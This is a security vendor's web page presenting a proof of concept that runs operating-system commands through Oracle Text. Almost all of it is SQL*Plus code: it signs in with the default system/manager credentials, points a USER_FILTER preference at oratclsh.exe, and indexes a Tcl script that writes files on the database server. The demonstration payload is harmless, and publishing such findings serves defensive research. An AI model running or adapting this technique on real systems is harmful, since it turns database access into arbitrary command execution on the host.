Red-Database-Security GmbH is specialized in Oracle Security

Products
Repscan 2.5
Hedgehog Enterprise
Checkpwd (free)

Services
Oracle Audit / Hardening
Security Training
Consulting

Information
Oracle Security Blog
Published Alerts
Upcoming Alerts
Patch Information
Whitepaper
Presentations
Oracle Fact Sheets
Exploits
Tutorials
Videos
Scripts

News & Events
Events
News

Company
Contact
People
Partner
Impressum
Sitemap

Run OS commands via Oracle Text

Idea by Gunther Pipperr (undocumented)

Requirements

Oracle Text Administrator

Code:

sqlplus system/manager
SQL> create table t (id number(9) primary key, text varchar2(2000));
begin
ctxsys.ctx_ddl.drop_preference('USER_FILTER_PREF');
end;
/

begin
ctxsys.ctx_ddl.create_preference
(
preference_name => 'USER_FILTER_PREF',
object_name => 'USER_FILTER'
);

ctxsys.ctx_ddl.set_attribute
('USER_FILTER_PREF','COMMAND','oratclsh.exe');
end;
/

begin
insert into t values (1,'
set f [open "C:/AHT.txt" {RDWR CREAT}]
puts $f "Your System is not protected!"
close $f
set f [open [lindex $argv 0] {RDWR CREAT}]
puts $f "SUCCESS"
close $f
');
end;
/

drop index user_filter_idx;

create index user_filter_idx on t ( text )
indextype is ctxsys.context
parameters ('FILTER USER_FILTER_PREF');

select token_text from DR$USER_FILTER_IDX$I;